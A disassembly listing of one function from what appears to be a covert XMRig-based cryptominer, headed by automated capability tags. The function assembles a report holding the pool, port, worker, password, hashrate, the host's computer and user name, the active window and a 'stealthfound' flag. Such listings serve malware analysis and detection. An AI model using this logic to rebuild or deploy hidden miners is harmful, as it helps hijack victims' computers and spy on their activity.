Function at 0x7ff65ed42140
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1550]
mov eax, 0x1650
call fcn.7ff65efe11d0
sub rsp, rax
movaps xmmword [rsp + 0x1640], xmm6
movaps xmmword [rsp + 0x1630], xmm7
mov rax, qword [str.e41k2]
xor rax, rsp
mov qword [rbp + 0x1520], rax
mov r12, rdx
mov r13, rcx
mov qword [rbp - 0x40], rdx
xor eax, eax
mov dword [rsp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov word [rbp + 0x1e], ax
movdqu xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
movdqu xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 0x400
mov dword [rbp + 0x60], eax
mov qword [rbp + 0x68], rax
lea ecx, [rax + 0x18]
call fcn.7ff65efe06d0
mov qword [rbp - 0x40], rax
mov rcx, rax
call fcn.7ff65eca3740
mov rsi, rax
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
lea rdx, [r13 + 0x20]
lea rcx, [rbp + 0x70]
call fcn.7ff65ed42f10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov eax, 3
mov word [rbp + 0x1e], ax
mov rax, qword [r13 + 0x140]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax + 8]
mov rdx, qword [rcx + 0x60]
movabs rcx, 0xffff000000000000
mov rdi, 0xffffffffffffffff
lea r15d, [rdi + 0x11]
mov r8d, 0x405
test rdx, rdx
jne 0x7ff65ed42247
lea ebx, [rdi + 9]
movups xmmword [rbp - 0x30], xmm0
lea rax, [rbp - 0x30]
jmp 0x7ff65ed42274
mov ebx, r15d
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x32], r8w
mov rax, qword [rbp - 0x38]
and rax, rcx
or rax, rdx
mov qword [rbp - 0x38], rax
mov rax, rdi
inc rax
cmp byte [rdx + rax], 0
jne 0x7ff65ed42264
mov dword [rbp - 0x40], eax
lea rax, [rbp - 0x40]
movups xmm6, xmmword [rax]
movups xmmword [rbp - 0x30], xmm6
test r15b, bl
je 0x7ff65ed42283
and ebx, 0xffffffef
test bl, 8
je 0x7ff65ed4228b
and ebx, 0xfffffff7
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x32], r8w
mov rax, qword [rbp - 0x38]
and rax, rcx
lea rcx, [0x7ff65f148c2c]
or rax, rcx
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x40], 2
movabs rcx, 0xffffffffffff
mov edx, dword [rbp + 0x10]
mov eax, dword [rbp + 0x14]
cmp edx, eax
jb 0x7ff65ed422e2
test eax, eax
je 0x7ff65ed42458
lea r14d, [rax + 1]
shr r14d, 1
add r14d, eax
cmp r14d, eax
ja 0x7ff65ed4245b
mov rcx, qword [rbp + 0x18]
movabs rax, 0xffffffffffff
and rcx, rax
mov eax, edx
shl rax, 5
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rax + rcx], xmm0
movups xmmword [rax + rcx + 0x10], xmm6
inc dword [rbp + 0x10]
mov rdx, qword [r13 + 0x140]
add rdx, 0x358
lea rcx, [rbp - 0x10]
call fcn.7ff65ec983f0
lea rcx, str.computername
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x38], 0xc
mov r9, rsi
mov r8, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
mov rdx, qword [r13 + 0x140]
add rdx, 0x378
lea rcx, [rbp - 0x10]
call fcn.7ff65ec983f0
lea rcx, str.username
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x38], 8
mov r9, rsi
mov r8, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
mov rdx, qword [r13 + 0x140]
add rdx, 0x3b8
lea rcx, [rbp - 0x10]
call fcn.7ff65ec983f0
lea rcx, [0x7ff65f15141c]
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x38], 3
mov r9, rsi
mov r8, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
mov rdx, qword [r13 + 0x140]
add rdx, 0x398
lea rcx, [rbp - 0x10]
call fcn.7ff65ec983f0
lea rcx, [0x7ff65f14de28]
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x38], 3
mov r9, rsi
mov r8, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
mov rdx, qword [r13 + 0x140]
add rdx, 0x318
lea rcx, [rbp - 0x10]
call fcn.7ff65ec983f0
lea rcx, str.remoteconfig
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x38], 0xc
mov r9, rsi
mov r8, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
mov rax, qword [r13 + 0x140]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax + 8]
cmp qword [rdx + 0x58], 0
jne 0x7ff65ed4249c
lea rdx, str.Unknown
jmp 0x7ff65ed424a0
mov r14d, r15d
mov rdx, qword [rbp + 0x18]
and rdx, rcx
mov r8, rax
mov r9d, r14d
shl r9, 5
shl r8, 5
mov rcx, rsi
call fcn.7ff65eca39b0
mov rcx, qword [rbp + 0x18]
movabs rdx, 0xffff000000000000
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x18], rcx
mov dword [rbp + 0x14], r14d
mov edx, dword [rbp + 0x10]
jmp 0x7ff65ed422e6
mov rdx, qword [rdx + 0x50]
xor r14d, r14d
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 0xf
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], r14b
jne 0x7ff65ed424c0
lea rcx, [rsp + 0x58]
call fcn.7ff65ec85ad0
or ebx, 0x20
mov dword [rsp + 0x20], ebx
lea rax, str.version
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 7
mov r9, rsi
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
cmp dword [0x7ff65f42ca78], r14d
je 0x7ff65ed425af
movdqa xmm6, xmmword [0x7ff65f153ce0]
mov word [rbp - 0x20], 0x2e43
mov edx, 0x14
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x7ff65f43be34], eax
jg 0x7ff65ed42eb7
lea rdx, [0x7ff65f43be10]
cmp byte [0x7ff65f43be21], r14b
je 0x7ff65ed4257d
movdqa xmm0, xmmword [0x7ff65f153b30]
pxor xmm0, xmmword [0x7ff65f43be10]
movdqa xmmword [0x7ff65f43be10], xmm0
mov rax, r15
nop word [rax + rax]
xor byte [rax + rdx], 0x2e
inc rax
cmp rax, 0x12
jb 0x7ff65ed42570
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r14b
mov r8, rdi
inc r8
cmp byte [rdx + r8], r14b
jne 0x7ff65ed42594
lea rcx, [rbp - 0x30]
call fcn.7ff65ec85ad0
lea rax, [rbp - 0x30]
or ebx, 1
jmp 0x7ff65ed425bc
lea rcx, [rbp - 0x10]
call fcn.7ff65ed3f490
nop
or ebx, 2
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, str.activewindow
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 0xc
mov r9, rsi
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
nop
test bl, 2
je 0x7ff65ed4266a
and ebx, 0xfffffffd
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x7ff65ed4265a
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff65ed42655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff65ed42eff
call fcn.7ff65efe070c
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
test bl, 1
je 0x7ff65ed426aa
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x7ff65ed426aa
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff65ed426a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff65ed42eb1
call fcn.7ff65efe070c
xor ecx, ecx
call fcn.7ff65efee0f8
mov r8, rax
lea rax, str.runtime
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 7
mov rax, qword [r13 + 0x140]
sub r8, qword [rax + 0x860]
mov r9, rsi
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x10]
call fcn.7ff65eca5ec0
lea rax, str.xmrig
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 5
lea rax, str.type
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 4
mov r9, rsi
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65eca5cf0
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x7ff65ed42b62
cmp word [rbp + 0x178], 0
jbe 0x7ff65ed42b62
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff65ed42750
lea rcx, [rbp - 0x10]
call fcn.7ff65ec85ad0
lea rax, str.pool
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 4
mov r9, rsi
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
lea rax, str.port
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 4
mov r9, rsi
movzx r8d, word [rbp + 0x178]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65eccd380
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x74]
call fcn.7ff65ec94230
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov eax, 0x405
mov word [rbp - 0x32], ax
mov rcx, qword [rbp - 0x38]
movabs rax, 0xffff000000000000
and rcx, rax
lea rax, str.algo
or rcx, rax
mov qword [rbp - 0x38], rcx
mov dword [rbp - 0x40], 4
mov edx, dword [rbp + 0x10]
mov eax, dword [rbp + 0x14]
cmp edx, eax
jb 0x7ff65ed4285e
test eax, eax
je 0x7ff65ed42816
lea r15d, [rax + 1]
shr r15d, 1
add r15d, eax
cmp r15d, eax
jbe 0x7ff65ed4285e
mov rdx, qword [rbp + 0x18]
movabs rcx, 0xffffffffffff
and rdx, rcx
mov r8, rax
mov r9d, r15d
shl r9, 5
shl r8, 5
mov rcx, rsi
call fcn.7ff65eca39b0
mov rcx, qword [rbp + 0x18]
movabs rdx, 0xffff000000000000
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x18], rcx
mov dword [rbp + 0x14], r15d
mov edx, dword [rbp + 0x10]
jmp 0x7ff65ed42862
mov rcx, qword [rbp + 0x18]
movabs rax, 0xffffffffffff
and rcx, rax
mov eax, edx
shl rax, 5
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rax + rcx], xmm0
movups xmm0, xmmword [rbx]
movups xmmword [rax + rcx + 0x10], xmm0
mov word [rbx + 0xe], r14w
inc dword [rbp + 0x10]
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov rdx, qword [rbp + 0xe0]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff65ed428b0
lea rcx, [rbp - 0x10]
call fcn.7ff65ec85ad0
lea rax, str.worker
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 6
mov r9, rsi
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
mov rdx, qword [0x7ff65f1913d8]
mov rax, qword [rbp + 0xd0]
test rax, rax
cmovne rdx, rax
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff65ed42911
lea rcx, [rbp - 0x10]
call fcn.7ff65ec85ad0
lea rax, str.password
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 8
mov r9, rsi
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
mov rdx, qword [0x7ff65f1913e8]
mov rax, qword [rbp + 0xf0]
test rax, rax
cmovne rdx, rax
mov qword [rbp - 0x10], r14
mov qword [rbp], r14
mov qword [rbp + 8], 0xf
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff65ed42972
lea rcx, [rbp - 0x10]
call fcn.7ff65ec85ad0
lea rax, str.user
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 4
mov r9, rsi
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
cmp byte [r13 + 0x138], 0
jne 0x7ff65ed42a7a
xorps xmm7, xmm7
mov rax, qword [r13 + 0x140]
mov r14, qword [rax + 0x2b8]
mov rbx, qword [rax + 0x2b0]
cmp rbx, r14
je 0x7ff65ed42a12
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x20]
test rax, rax
je 0x7ff65ed42a09
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call fcn.7ff65ece78a0
movaps xmm6, xmm0
call fcn.7ff65efe8184
cmp ax, 0xffff
je 0x7ff65ed42a05
xorps xmm6, xmm6
addsd xmm7, xmm6
add rbx, 8
cmp rbx, r14
jne 0x7ff65ed429d6
lea rdx, str.hashrate
mov qword [rbp - 0x30], rdx
mov dword [rbp - 0x28], 8
mov r9, rsi
movaps xmm2, xmm7
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b6a0
mov rcx, qword [r13 + 0x140]
add rcx, 0x448
lea rdx, [0x7ff65f1461a8]
call fcn.7ff65ecdeb20
mov rax, qword [r13 + 0x140]
lea rcx, [rax + 0x448]
xor r9d, r9d
mov r8, qword [rax + 0x458]
lea rdx, [rbp + 0x10]
call fcn.7ff65ecdae80
xor r14d, r14d
jmp 0x7ff65ed42b73
call fcn.7ff65efdf2b0
mov dword [rbp + 0x1514], 0xffffffff
mov dword [rbp + 0x194], eax
mov edx, 1
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x194], eax
inc rdx
cmp rdx, 0x270
jb 0x7ff65ed42aa0
mov dword [rbp + 0x190], 0x270
lea rax, [rbp + 0x190]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0x20
mov dword [rbp - 0x20], 0xffffffff
mov edx, 0x14
lea rcx, [rbp - 0x30]
call fcn.7ff65eccda30
mov ebx, eax
lea rdx, str.hashrate
mov qword [rbp - 0x30], rdx
mov dword [rbp - 0x28], 8
mov rcx, qword [r13 + 0x140]
add rcx, 0x448
xorps xmm2, xmm2
call fcn.7ff65eca0510
lea ecx, [rbx + 1]
xorps xmm1, xmm1
cvtsi2sd xmm1, rcx
movsd xmm2, qword [0x7ff65f153800]
subsd xmm2, xmm1
movsd xmm4, qword [0x7ff65f153820]
subsd xmm4, xmm2
divsd xmm4, qword [0x7ff65f153820]
mulsd xmm0, xmm4
mov r9, rsi
movaps xmm2, xmm0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b6a0
jmp 0x7ff65ed42b73
mov rax, qword [r13 + 0x140]
mov dword [rax + 0x440], 1
lea rax, str.status
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 6
mov rax, qword [r13 + 0x140]
mov r9, rsi
mov r8d, dword [rax + 0x440]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ecae990
mov rdx, qword [r13 + 0x140]
cmp byte [rdx + 0x2ea], 0
je 0x7ff65ed42be8
add rdx, 0x418
lea rcx, [rbp - 0x10]
call fcn.7ff65ec983f0
lea rcx, str.stealthfound
mov qword [rbp - 0x30], rcx
mov dword [rbp - 0x28], 0xc
mov r9, rsi
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.7ff65ed4b510
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 0x100
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x28]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], r14
movdqu xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
mov qword [rbp - 0x50], 0x200
mov dword [rbp - 0x48], 0x144
mov byte [rbp - 0x44], 0
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x10]
call fcn.7ff65ecb80f0
mov rcx, qword [rsp + 0x48]
mov rax, rcx
mov rbx, qword [rsp + 0x40]
sub rax, rbx
cmp rax, 1
jge 0x7ff65ed42cd3
mov r8, qword [rsp + 0x38]
test r8, r8
jne 0x7ff65ed42c8e
cmp qword [rsp + 0x28], r8
jne 0x7ff65ed42c87
lea ecx, [r8 + 1]
call fcn.7ff65efe06d0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov rbx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x50]
jmp 0x7ff65ed42c9b
sub rcx, r8
lea rax, [rcx + 1]
shr rax, 1
add rcx, rax
sub rbx, r8
lea rsi, [rbx + 1]
cmp rcx, rsi
cmovae rsi, rcx
mov rcx, r8
test rsi, rsi
jne 0x7ff65ed42cbb
call fcn.7ff65efec05c
mov rax, r14
jmp 0x7ff65ed42cc3
mov rdx, rsi
call fcn.7ff65efec338
mov qword [rsp + 0x38], rax
add rbx, rax
add rax, rsi
mov qword [rsp + 0x48], rax
lea rax, [rbx + 1]
mov qword [rsp + 0x40], rax
mov byte [rbx], 0
dec qword [rsp + 0x40]
mov qword [r12], r14
mov qword [r12 + 0x10], r14
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [rsp + 0x38]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x7ff65ed42d00
mov r8, rdi
mov rcx, r12
call fcn.7ff65ec85ad0
nop
mov rcx, qword [rbp - 0x68]
call fcn.7ff65efec05c
mov edx, 1
mov rcx, qword [rbp - 0x70]
call fcn.7ff65efe070c
nop
mov rcx, qword [rsp + 0x38]
call fcn.7ff65efec05c
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.7ff65efe070c
nop
mov rcx, qword [rbp + 0x168]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0x158]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0x138]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0x128]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0x100]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0xf0]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0xe0]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0xd0]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0xc0]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0xa0]
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0x90]
call fcn.7ff65efe070c
nop
mov rbx, qword [rbp + 0x28]
test rbx, rbx
je 0x7ff65ed42e63
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov word [rbp + 0x1e], r14w
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x7ff65ed42e56
mov rax, qword [rcx + 0x10]
cmp rax, 1
jbe 0x7ff65ed42e01
dec rax
mov qword [rcx + 0x10], rax
jmp 0x7ff65ed42e56
mov rax, qword [rcx]
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x7ff65ed42e2b
nop dword [rax]
mov qword [rcx], rdx
mov rcx, rax
call fcn.7ff65efec05c
mov rcx, qword [rbx + 0x10]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x10]
test rdx, rdx
jne 0x7ff65ed42e10
mov rax, qword [rbx + 0x10]
mov rcx, qword [rax]
mov qword [rcx + 8], r14
mov rcx, qword [rbx + 0x10]
mov rdi, qword [rcx + 8]
cmp byte [rcx + 0x18], 0
je 0x7ff65ed42e49
call fcn.7ff65efec05c
mov edx, 1
mov rcx, rdi
call fcn.7ff65efe070c
mov edx, 0x18
mov rcx, rbx
call fcn.7ff65efe070c
mov rcx, qword [rbp + 0x40]
call fcn.7ff65efec05c
mov edx, 1
mov rcx, qword [rbp + 0x38]
call fcn.7ff65efe070c
mov rax, r12
mov rcx, qword [rbp + 0x1520]
xor rcx, rsp
call fcn.7ff65efe06b0
lea r11, [rsp + 0x1650]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.7ff65efe777c
nop
lea rcx, [0x7ff65f43be34]
call fcn.7ff65efe08c8
cmp dword [0x7ff65f43be34], 0xffffffff
jne 0x7ff65ed4253c
movaps xmmword [0x7ff65f43be10], xmm6
movzx eax, word [rbp - 0x20]
mov word [0x7ff65f43be20], ax
lea rcx, [0x7ff65f019eb0]
call fcn.7ff65efe0c10
lea rcx, [0x7ff65f43be34]
call fcn.7ff65efe0868
jmp 0x7ff65ed4253c
call fcn.7ff65efe777c
int3